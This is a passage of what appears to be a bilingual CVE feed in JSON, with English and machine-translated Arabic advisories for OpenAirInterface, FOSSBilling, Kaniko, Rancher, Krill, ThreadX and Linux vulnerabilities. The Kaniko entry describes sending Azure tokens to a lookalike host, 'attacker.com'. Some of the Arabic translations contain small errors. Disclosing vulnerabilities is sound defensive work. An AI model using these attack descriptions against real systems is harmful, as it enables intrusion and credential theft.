الأحدث."},"refs":[["https://grafana.com/security/security-advisories/cve-2026-81938","advisory"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"grafana-enterprise-metrics"},{"id":"CVE-2026-106808","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T18:18:34Z","product":"Unknown product","affected":[],"title":{"en":"OpenAirInterface Core Network v2.2.1 has a stack-based buffer overflow vulnerability in the OAI CN5G UDM Nudm_UEAU Generate Authentication Data endpoi","ar":"يحتوي OpenAirInterface Core Network v2.2.1 على ثغرة فيضان المخزن المؤقت المستندة إلى المكدس في نقطة نهاية OAI CN5G UDM Nudm_UEAU Generate Authentication Data"},"summary":{"en":"OpenAirInterface Core Network v2.2.1 has a stack-based buffer overflow vulnerability in the OAI CN5G UDM Nudm_UEAU Generate Authentication Data endpoint. The UDM passes attacker-controlled resynchronizationInfo.rand and auts values to conv::hex_str_to_uint8(), which converts arbitrary-length hex strings into fixed-size stack buffers without validating the destination size. An unauthenticated attacker with access to the SBI interface and a valid SUPI can submit an oversized value to overwrite adjacent stack memory, corrupt the stack canary, and terminate the UDM process.","ar":"يحتوي OpenAirInterface Core Name v2.2.1 على ثغرة فيضان المخزن المؤقت المستندة إلى المكدس في نقطة نهاية OAI CN5G UDM Nudm_UEAU Generate Authentication Data. يقوم UDM تمرير قيم resynchronizationInfo.rand و auts التي يتحكم فيها المهاجم إلى conv::hex_str_to_uint8()، والتي تحول السداسية عشرية ذات الطول العشوائي إلى مخازن مكدس ذات حجم ثابت دون التحقق من صحة حجم الوجهة. يمكن لمهاجم دون مصادقة لديه حق الوصول إلى واجهة SBI و SUPI صالح إرسال قيمة مفرطة الحجم للكتابة فوق ذاكرة المكدس المجاورة، وإفساد مؤشر ملقم المكدس، وإنهاء عملية UDM."},"refs":[["https://gist.github.com/hackeryounow/66b7612729af8e205089097e68a42116","ref"],["https://github.com/openairinterface/oai-cn5g-udm/issues/4","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-111048","cvss":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T17:46:11Z","product":"FOSSBilling FOSSBilling","affected":[],"title":{"en":"FOSSBilling: Low-privileged staff can run JavaScript in administrators' browsers via stored XSS in support ticket notes","ar":"منصة FOSSBilling: موظفون ذوي صلاحيات منخفضة يمكنهم تشغيل JavaScript في متصفحات المسؤولين عبر ثغرة XSS مخزنة في ملاحظات تذاكر الدعم"},"summary":{"en":"FOSSBilling is an open source billing and client-management platform. From 0.1.0 until 0.8.9, the admin/support/note_create endpoint stores the note parameter without sanitization in the support_ticket_note table, and src/modules/Support/templates/admin/mod_support_tickets.html.twig renders each stored support ticket note through innerHTML in the admin ticket list. A staff user with only the support.manage_tickets permission can store HTML or JavaScript that executes when another staff member opens the ticket notes. The script runs with the viewing staff member's session and privileges, can read a CSRF token and accessible client or invoice data, and can perform administrative actions available to the viewer, including a Super Administrator. The ticket detail page is not affected because its Twig rendering uses autoescaping. This issue is fixed in version 0.8.9.","ar":"منصة FOSSBilling هي منصة مفتوحة المصدر للفوترة وإدارة العملاء. من الإصدار 0.1.0 حتى 0.8.9، تقوم نقطة النهاية admin/support/note_create بتخزين معامل note دون تعقيم في جدول support_ticket_note، ويقوم الملف src/modules/Support/templates/admin/mod_support_tickets.html.twig برسم كل ملاحظة تذكرة دعم مخزنة عبر innerHTML في قائمة تذاكر المسؤول. يمكن لمستخدم موظف لديه صلاحية support.manage_tickets فقط تخزين HTML أو JavaScript يتم تنفيذها عندما يقوم موظف آخر بفتح ملاحظات التذكرة. تعمل الشيفرة بجلسة وصلاحيات الموظف المشاهد، ويمكنها قراءة رمز CSRF وبيانات العميل أو الفاتورة المتاحة، ويمكنها أداء إجراءات إدارية متاحة للمشاهد، بما في ذلك مسؤول خارق (Super Administrator). لا تتأثر صفحة تفاصيل التذكرة لأن رسم Twig الخاص بها يستخدم التفلت التلقائي (autoescaping). تم إصلاح هذه المشكلة في الإصدار 0.8.9."},"refs":[["https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-493h-fvcx-6q62","ref"],["https://github.com/FOSSBilling/FOSSBilling/pull/4548","ref"],["https://github.com/FOSSBilling/FOSSBilling/commit/87528920b6cb1ba6f113583253eb4d7abdd1d8c6","ref"],["https://github.com/FOSSBilling/FOSSBilling/releases/tag/0.8.9","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"fossbilling"},{"id":"CVE-2026-119085","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-1336","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T17:37:08Z","product":"AWS virtual-engineering-workbench","affected":[],"title":{"en":"Template injection in the publishing component of awslabs Virtual Engineering Workbench","ar":"ثغرة حقن القوالب في مكون النشر الخاص بـ awslabs Virtual Engineering Workbench"},"summary":{"en":"Improper neutralization of special elements used in a template engine in the publishing component of Amazon Virtual Engineering Workbench (VEW) could allow a remote authenticated third party to run arbitrary code with the permissions of the publishing Lambda's IAM role. This could allow access to data and resources across all tenant projects. The code is reachable through a crafted CloudFormation template body containing template engine directives submitted through the product versioning API. To remediate this issue, users should redeploy from the latest version of awslabs/virtual-engineering-workbench.","ar":"قد يؤدي الحياد غير السليم للعناصر الخاصة المستخدمة في محرك القوالب ضمن مكون النشر في Amazon Virtual Engineering Workbench (VEW) إلى السماح لططرف ثالث عن بُعد يملك حسابًا مصادقًا عليه بتنفيذ شيفرة عشوائية بصلاحيات دور IAM الخاصة بـ Lambda للنشر. قد يتيح هذا الوصول إلى البيانات والموارد عبر جميع مشاريع المستأجرين. يمكن الوصول إلى الشيفرة من خلال محتوى قالب CloudFormation معد خصيصًا يحتوي على توجيهات محرك القوالب والتي يتم إرسالها عبر واجهة برمجة تطبيقات إصدارات المنتج. لمعالجة هذه المشكلة، يجب على المستخدمين إعادة نشر أحدث إصدار من awslabs/virtual-engineering-workbench."},"refs":[["https://github.com/awslabs/virtual-engineering-workbench/commit/c146486cec41f5b04fae57e9ce1a7fb40e695615","patch"],["https://aws.amazon.com/security/security-bulletins/2026-162-aws/","advisory"],["https://github.com/awslabs/virtual-engineering-workbench/security/advisories/GHSA-mf9w-9v72-cqm9","advisory"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aws-virtual-engineering-workbench"},{"id":"CVE-2026-120596","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-835","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T17:17:40Z","product":"Ethernut / egnite GmbH Nut/Net TCP/IP Stack","affected":[],"title":{"en":"CVE-2026-120596","ar":"ثغرة عالية الخطورة في Ethernut / egnite GmbH Nut/Net TCP/IP Stack"},"summary":{"en":"A remotely exploitable denial-of-service vulnerability exists in the TCP options parser of the Nut/Net TCP/IP stack included in Nut/OS, developed by Ethernut/Egnite. Nut/OS releases up to version 5.1 are affected. An unauthenticated attacker can send a single TCP segment containing an unknown TCP option with a length byte of zero to any open TCP port on a vulnerable device. When processed, this malformed option triggers an infinite loop in the function NutTcpInputOptions, permanently blocking the TCP processing thread and rendering all TCP-based services unresponsive until the device is rebooted.","ar":"A remotely exploitable denial-of-service vulnerability exists in the TCP options parser of the Nut/Net TCP/IP stack included in Nut/OS, developed by Ethernut/Egnite. Nut/OS releases up to version 5.1 are affected. An unauthenticated attacker can send a single TCP segment containing an unknown TCP option with a length byte of zero to any open TCP port on a vulnerable device. When processed, this malformed option triggers an infinite loop in the function NutTcpInputOptions, permanently blocking the TCP processing thread and rendering all TCP-based services unresponsive until the device is rebooted."},"refs":[["https://www.ethernut.de/en/download/index.html","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"ethernut-egnite-gmbh-nut-net-tcp-ip-stack"},{"id":"CVE-2026-119301","cvss":7.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L","cwe":"CWE-89","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T17:17:39Z","product":"AWS aws-sdk-pandas","affected":[["3.5.2 – <3.17.1","3.17.1"]],"title":{"en":"Improper neutralization of quoting syntax in Apache Iceberg SQL identifier generation in AWS SDK for pandas","ar":"عدم الحياد السليم لبناء جملة علامات الاقتباس في إنشاء معرفات SQL لـ Apache Iceberg في AWS SDK for pandas"},"summary":{"en":"Improper neutralization of quoting syntax in SQL identifier construction in the Apache Iceberg write component in AWS SDK for pandas (also published as awswrangler) 3.5.2 through 3.17.0 might allow an authenticated remote user with permission to modify AWS Glue Data Catalog metadata to read any table that a separate, more privileged principal can access and write to the table that principal is updating via a crafted column name. To remediate this issue, users should upgrade to version 3.17.1 or later.","ar":"قد يسمح عدم الحياد السليم لبناء جملة علامات الاقتباس في إنشاء معرفات SQL داخل مكون الكتابة لـ Apache Iceberg في AWS SDK for pandas (والمنشور أيضًا باسم awswrangler) من الإصدار 3.5.2 وحتى 3.17.0 لمستخدم مصادق عليه عن بُعد لديه إذن لتعديل بيانات AWS Glue Data Catalog الوصفية بقراءة أي جدول يمكن لكيان آخر يحظى بصلاحيات أعلى الوصول إليه، وكتابة البيانات في الجدول الذي يقوم هذا الكيان بتحديثه عبر اسم عمود مُصمَّم خصيصًا. لمعالجة هذه المشكلة، يجب على المستخدمين الترقية إلى الإصدار 3.17.1 أو أحدث."},"refs":[["https://github.com/aws/aws-sdk-pandas/releases/tag/3.17.1","patch"],["https://aws.amazon.com/security/security-bulletins/2026-161-aws/","advisory"],["https://github.com/aws/aws-sdk-pandas/security/advisories/GHSA-g8fh-6w6x-mhqf","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aws-sdk-pandas"},{"id":"CVE-2026-106803","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T17:17:33Z","product":"Unknown product","affected":[],"title":{"en":"A stack-based buffer overflow exists in Kamailio v6.1.3 and v6.1.4 in the ims_registrar_pcscf module.","ar":"يوجد فيضان مخزن مؤقت قائم على المكدس في Kamailio الإصدارين v6.1.3 و v6.1.4 في وحدة ims_registrar_pcscf."},"summary":{"en":"A stack-based buffer overflow exists in Kamailio v6.1.3 and v6.1.4 in the ims_registrar_pcscf module. When processing a crafted application/reginfo+xml NOTIFY message, process_contact() copies an attacker-controlled port value from the alias parameter into a fixed 5-byte stack buffer without validating its length. An unauthenticated remote attacker can trigger stack corruption and terminate the P-CSCF process, resulting in denial of service.","ar":"يوجد فيضان مخزن مؤقت قائم على المكدس في Kamailio الإصدارين v6.1.3 و v6.1.4 في وحدة ims_registrar_pcscf. عند معالجة رسالة NOTIFY مصممة من نوع application/reginfo+xml، يقوم process_contact() بانسخ قيمة منفذ يتحكم فيها المهاجم من معامل الalias إلى مخزن مكدس ثابت بحجم 5 بايت دون التحقق من طولها. يمكن لمهاجم عن بُعد دون مصادقة تحفيز تلف المكدس وإنهاء عملية P-CSCF، مما يؤدي إلى حجب الخدمة."},"refs":[["https://gist.github.com/hackeryounow/7d7ccc9ec501a5d8c9143b2e1bcc11cb","ref"],["https://github.com/kamailio/kamailio/commit/21261436492f0014930e804e20586e3833bb91b9","ref"],["https://github.com/kamailio/kamailio/issues/4954","ref"],["https://github.com/kamailio/kamailio/pull/4958","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-105769","cvss":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-346","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:49:24Z","product":"chainguard-forks kaniko","affected":[["0 – <1.25.20","1.25.20"]],"title":{"en":"kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts","ar":"أداة kaniko يمكنها إرسال رمز الوصول الخاص بـ Azure (Entra ID) الخاص بالبناء إلى مضيفي سجل ACR متشابهين"},"summary":{"en":"kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.","ar":"يمكن لأداة kaniko في الإصدارات قبل 1.25.20 إرسال رمز وصول Microsoft Entra ID (Azure AD) الخاص بـ Azure Resource Manager إلى مضيف سجل يسيطر عليه المهاجم. تستخدم kaniko مُساعِد بيانات اعتماد Azure Container Registry المسمى github.com/chrismellard/docker-credential-acr-env، والذي يحدد ما إذا كان المضيف هو سجل ACR باستخدام تعبير منتغير غير مثبت، لذلك يتم قبول أي اسم مستضيف يحتوي على .azurecr.io أو .azurecr.cn أو .azurecr.de أو .azurecr.us. تستشير kaniko هذا المُساعِد لأي سجل ليس لديه بيانات اعتماد في تكوين Docker وليس سجلاً لـ Google أو Amazon ECR، قبل الاتصال بالسجل. إن ملف Dockerfile الذي يشير إلى صورة على مضيف متشابه، مثل FROM x.azurecr.io.attacker.com/img أو COPY --from=<image>، يتسبب في حصول المُساعِد على رمز من هوية Azure الخاصة بالبناء (متغيرات بيئة خدمة الأساس، أو رمز هوية العمل الموحد، أو الهوية المُدارة) وإرساله عبر طلب POST إلى https://<host>/oauth2/exchange. يمكن للمهاجم استخدام الرمز ضد Azure Resource Manager باستخدام تعيينات أدوار الهوية حتى ينتهي صلاحيته، ويمكنه استبداله ببيانات اعتماد لأي سجل ACR يمكن للهوية الوصول إليه. لا يلزم وجود تعليمة RUN أو عملية دفع. تم إصلاح هذه المشكلة في الإصدار 1.25.20."},"refs":[["https://github.com/chainguard-forks/kaniko/pull/495","patch"],["https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97","advisory"],["https://pkg.go.dev/vuln/GO-2026-6225","advisory"],["https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20","ref"],["https://github.com/chrismellard/docker-credential-acr-env/issues/21","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"chainguard-forks-kaniko"},{"id":"CVE-2026-88811","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-201","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:48:44Z","product":"SUSE Rancher","affected":[["2.15.0 – <2.15.3","2.15.3"],["2.14.0 – <2.14.7","2.14.7"],["2.13.0 – <2.13.11","2.13.11"],["2.12.0 – <2.12.15","2.12.15"],["2.11.0 – <2.11.19","2.11.19"]],"title":{"en":"Rancher credentials disclosed to third-party hosts by the Rancher Manager meta proxy","ar":"الكشف عن بيانات اعتماد Rancher لمضيفين من طرف ثالث بواسطة الوكيل الفوقي لـ Rancher Manager"},"summary":{"en":"Missing filtering in the SUSE Rancher Manager meta proxy could cause passed in rancher credentials to be leaked to cloud providers. This affects SUSE Rancher 2.15.0 up to 2.15.3, 2.14.0 up to 2.14.7, 2.13.0 up to 2.13.11,","ar":"قد يؤدي نقص التصفية في الوكيل الفوقي لـ SUSE Rancher Manager إلى تسريب بيانات اعتماد rancher المُمررة إلى مزودي السحابة. يؤثر هذا على SUSE Rancher من الإصدار 2.15.0 حتى 2.15.3، ومن 2.14.0 حتى 2.14.7، ومن 2.13.0 حتى 2.13.11."},"refs":[["https://github.com/rancher/rancher/security/advisories/GHSA-x82x-2qj6-5rm2","advisory"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"suse-rancher"},{"id":"CVE-2026-88810","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:29:46Z","product":"SUSE Rancher","affected":[["2.15.2 – <2.15.3","2.15.3"],["0.11.0 – <0.11.4","0.11.4"],["0.12.0 – <0.12.1","0.12.1"]],"title":{"en":"Privilege escalation in downstream clusters via GlobalRole inheritedNamespacedRules","ar":"تصعيد الصلاحيات في التجمعات الفرعية (downstream clusters) عبر GlobalRole inheritedNamespacedRules"},"summary":{"en":"A privilege escalation issue was discovered in Rancher Manager's role-based access control. The inheritedNamespacedRules field of a GlobalRole propagates permissions into named namespaces of every downstream cluster managed by the Rancher instance, but it was not subject to the privilege-escalation validation applied to the other permission-carrying fields of a GlobalRole. As a result, a non-administrative user could be granted, through a global role binding, permissions in downstream clusters that exceed the permissions that user already holds. This affected SUSE Rancher 2.15.2 only, and SUSE Rancher Webhook 0.11.0 up to 0.11.4, and 0.12.0 up to 0.12.1.","ar":"تم اكتشاف مشكلة تصعيد الصلاحيات في آلية التحكم في الوصول القائم على الأدوار في Rancher Manager. حقل inheritedNamespacedRules الخاص بـ GlobalRole يقوم بنشر الصلاحيات إلى النطاقات الأسْمية (namespaces) المسماة لكل تجمع فرعي تتم إدارته بواسطة مثيل Rancher، لكنه لم يكن خاضعًا للتحقق من صحة تصعيد الصلاحيات المطبق على الحقول الأخرى الحاملة للصلاحيات في GlobalRole. ونتيجة لذلك، يمكن منح مستخدم غير إداري، من خلال ربط أدوار عالمية، صلاحيات في التجمعات الفرعية تتجاوز الصلاحيات التي يمتلكها المستخدم بالفعل. تأثرت بهذا الإصدارات SUSE Rancher 2.15.2 فقط، وSUSE Rancher Webhook من 0.11.0 حتى 0.11.4، ومن 0.12.0 حتى 0.12.1."},"refs":[["https://github.com/rancher/webhook/security/advisories/GHSA-f898-2c8h-r7jc","advisory"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"suse-rancher"},{"id":"CVE-2026-94290","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-250","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:17:45Z","product":"SUSE Rancher","affected":[["0.16.0 – <0.16.3","0.16.3"],["0.15.0 – <0.15.8","0.15.8"],["0.14.0 – <0.14.12","0.14.12"],["0.13.0 – <0.13.17","0.13.17"]],"title":{"en":"Privilege escalation to cluster-admin on the Rancher local cluster through Fleet's agent management controller","ar":"تصعيد الصلاحيات إلى cluster-admin على مجموعة Rancher المحلية من خلال وحدة تحكم إدارة وكيل Fleet"},"summary":{"en":"SUSE Rancher Fleet clusters reference a kubeconfig secret that the controller uses to install and manage a Fleet agent on the target cluster. The controller did not sufficiently restrict which kubeconfig secrets a Fleet Cluster object was allowed to reference. As a result, a Fleet cluster defined in a namespace an ordinary user controls could be associated with administrative credentials for the management cluster itself, causing the controller to manage the management cluster on that user's behalf and to run that user's Fleet content there with elevated privileges. This affects SUSE Rancher Fleet 0.16.0 up to 0.16.3, 0.15.0 up to 0.15.8, 0.14.0 up to 0.14.12, 0.13.0 up to 0.13.17 and possible older versions.","ar":"تشير مجموعات SUSE Rancher Fleet إلى سر kubeconfig الذي تستخدمه وحدة التحكم لتثبيت وإدارة وكيل Fleet على المجموعة المستهدفة. لم تقم وحدة التحكم بتقييد أسرار kubeconfig التي يُسمح لكائن Fleet Cluster بالإشارة إليها بشكل كافٍ. ونتيجة لذلك، يمكن ربط مجموعة Fleet محددة في نطاق أسماء يتحكم فيه مستخدم عادي ببيانات اعتماد إدارية لمجموعة الإدارة نفسها، مما يتسبب في قيام وحدة التحكم بإدارة مجموعة الإدارة نيابة عن هذا المستخدم وتشغيل محتوى Fleet الخاص بهذا المستخدم هناك بصلاحيات مرتفعة. يؤثر هذا على SUSE Rancher Fleet من الإصدار 0.16.0 حتى 0.16.3، ومن 0.15.0 حتى 0.15.8، ومن 0.14.0 حتى 0.14.12، ومن 0.13.0 حتى 0.13.17 والإصدارات القديمة المحتملة."},"refs":[["https://github.com/rancher/fleet/security/advisories/GHSA-qfmw-gw96-ffcr","advisory"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"suse-rancher"},{"id":"CVE-2026-109141","cvss":8.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:17:27Z","product":"NLnet Labs Krill","affected":[["<0.16.1","0.16.1"]],"title":{"en":"Krill users restricted to one CA can make any other CA delegate its prefixes and publish ROAs for them via bulk import","ar":"مستخدمو Krill المقيدون بسلطة شهادات CA واحدة يمكنهم جعل أي سلطة شهادات CA أخرى تفوض بادئاتها وتنشر لها كائنات ROA عبر الاستيراد المجمع"},"summary":{"en":"The vulnerability gives a role that is restricted to a list of CAs (cas = [...]) its full permission set for every request that is not tied to a CA, including the bulk import endpoint POST /api/v1/bulk/cas/import. It adds a new child CA under any existing CA, gives the child any of that CA's resources, and creates the ROAs given in the request","ar":"تمنح الثغرة دورًا مقيدًا بقائمة من سلطات الشهادات CA (cas = [...]) مجموعة صلاحياتها الكاملة لكل طلب غير مرتبط بسلطة شهادات CA، بما في ذلك نقطة نهاية الاستيراد المجمع POST /api/v1/bulk/cas/import. وهي تضيف سلطة شهادات CA فرعية جديدة تحت أي سلطة شهادات CA موجودة، وتمنح الفرع أيًا من موارد سلطة الشهادات تلك، وتنشئ كائنات ROA المقدمة في الطلب."},"refs":[["https://www.nlnetlabs.nl/downloads/krill/CVE-2026-109141.txt","advisory"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nlnet-labs-krill"},{"id":"CVE-2026-109142","cvss":8.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:17:27Z","product":"NLnet Labs Krill","affected":[["<0.16.1","0.16.1"]],"title":{"en":"Krill treats a \"local parent\" as already-authenticated, letting a CA operator act as any child of any CA on the same server","ar":"يتعامل Krill مع \"الصل الأصل المحلي\" باعتباره مصادقًا عليه مسبقًا، مما يسمح لمشغل سلطة الشهادات CA بالعمل كأي فرع لأي سلطة شهادات CA على نفس الخادم"},"summary":{"en":"When a CA's parent lives on the same Krill server: instead of building and verifying a signed CMS message, it runs the RFC 6492 provisioning exchange in-process and trusts the child identity (child_handle) that the caller put in the parent contact. Nothing checks that this child identity actually belongs to the CA making the request.","ar":"عندما يكون الأصل لسلطة شهادات CA موجودًا على نفس خادم Krill: بدلاً من إنشاء والتحقق من رسالة CMS موقعة، فإنه يشغل تبادل توفير RFC 6492 داخل العملية ويثق بهوية الفرع (child_handle) التي وضعها المتصل في جهة اتصال الأصل. لا يوجد ما يتحقق من أن هوية الفرع هذه تنتمي بالفعل إلى سلطة الشهادات CA التي تقوم بالطلب."},"refs":[["https://www.nlnetlabs.nl/downloads/krill/CVE-2026-109142.txt","advisory"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nlnet-labs-krill"},{"id":"CVE-2026-114408","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-252","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T16:17:27Z","product":"Eclipse Foundation Eclipse ThreadX","affected":[["6.4.5 – 6.5.2.202603a",null]],"title":{"en":"NULL pointer dereference in ICMPv6 Packet Too Big processing when the destination table is full","ar":"إلغاء مرجع المؤشر NULL في معالجة رسالة ICMPv6 Packet Too Big عندما يكون جدول الوجهات ممتلئًا"},"summary":{"en":"In Eclipse ThreadX NetX Duo versions 6.4.5.202504 through 6.5.2.202603a, built with IPv6 path MTU discovery, the ICMPv6 Packet Too Big handler uses the destination-table entry it adds without checking that the add succeeded. A sender on the network can fill the destination table with Packet Too Big messages quoting new destinations, after which the next message makes the IP helper thread dereference a NULL pointer, crashing it on targets that fault on address 0 and stopping all network processing.","ar":"في إصدارات Eclipse ThreadX NetX Duo من 6.4.5.202504 إلى 6.5.2.202603a، المبنية باستخدام ميزة اكتشاف مسار MTU للإصدار السادس من بروتوكول الإنترنت IPv6، يستخدم معالج ICMPv6 Packet Too Big إدخال جدول الوجهات الذي يضيفه دون التحقق من نجاح الإضافة. يمكن للمرسل على الشبكة ملء جدول الوجهات برسائل Packet Too Big التي تذكر وجهات جديدة، وبعد ذلك تجعل الرسالة التالية خيط مساعد IP يلغي مرجع مؤشر NULL، مما يؤدي إلى تعطلها على الأهداف التي تتسبب في خطأ عند العنوان 0 وإيقاف جميع معالجات الشبكة."},"refs":[["https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-xjgr-2wmf-f78j","ref"],["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/482","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-threadx"},{"id":"CVE-2026-109140","cvss":8.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","cwe":"CWE-323","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:17:26Z","product":"NLnet Labs Krill","affected":[["<0.16.1","0.16.1"]],"title":{"en":"Krill login-session tokens reuse their encryption nonce across restarts, so any user who can log in can forge an \"admin\" token","ar":"تعيد رموز جلسة تسجيل الدخول في Krill استخدام قيمة التشفير العشوائية nonce عبر عمليات إعادة التشغيل، بحيث يمكن لأي مستخدم يمكنه تسجيل الدخول تزوير رمز \"admin\""},"summary":{"en":"The vulnerability is that Krill encrypts every login-session token with a nonce built from a counter that is reset to 0 on every Krill restart, so the same (key, nonce) pair is used again after each restart.","ar":"تكمن الثغرة في أن Krill يقوم بتشفير كل رمز جلسة تسجيل دخول باستخدام قيمة عشوائية nonce مبنية من عداد يتم إعادة تعيينه إلى 0 عند كل إعادة تشغيل لـ Krill، لذلك يتم استخدام نفس زوج (المفتاح، القيمة العشوائية) مرة أخرى بعد كل إعادة تشغيل."},"refs":[["https://www.nlnetlabs.nl/downloads/krill/CVE-2026-109140.txt","advisory"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nlnet-labs-krill"},{"id":"CVE-2026-99239","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:06:43Z","product":"Linux Linux","affected":[["5.10.265 – <5.10.273","5.10.273"],["5.15.216 – <5.15.224","5.15.224"],["6.1.183 – <6.1.191","6.1.191"],["6.6.145 – <6.6.161","6.6.161"],["6.12.97 – <6.12.115","6.12.115"],["6.18.39 – <6.18.60","6.18.60"],["7.1.4 – <7.2","7.2"]],"title":{"en":"Bluetooth: L2CAP: refuse __l2cap_chan_add if chan already has conn","ar":"Bluetooth: L2CAP: رفض __l2cap_chan_add إذا كانت القناة تحتوي بالفعل على اتصال"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: refuse __l2cap_chan_add if chan already has conn l2cap_chan may be linked to l2cap_conn at most once. This is assumed in several places, eg l2cap_chan_del cleanup. There is a TOCTOU race where the invariant is violated: [Task 1] [Task 2] l2cap_chan_connect l2cap_sock_bind l2cap_chan_lock lock_sock l2cap_state_change if (sk->sk_state != BT_OPEN) chan->state = BT_CONNECT l2cap_sock_state_change_cb chan->state = BT_BOUND sk->sk_state = BT_BOUND lock_sock <------------------ release_sock sk->sk_state = BT_CONNECT l2cap_sock_connect() does not check sk->sk_state, so since chan->state is now 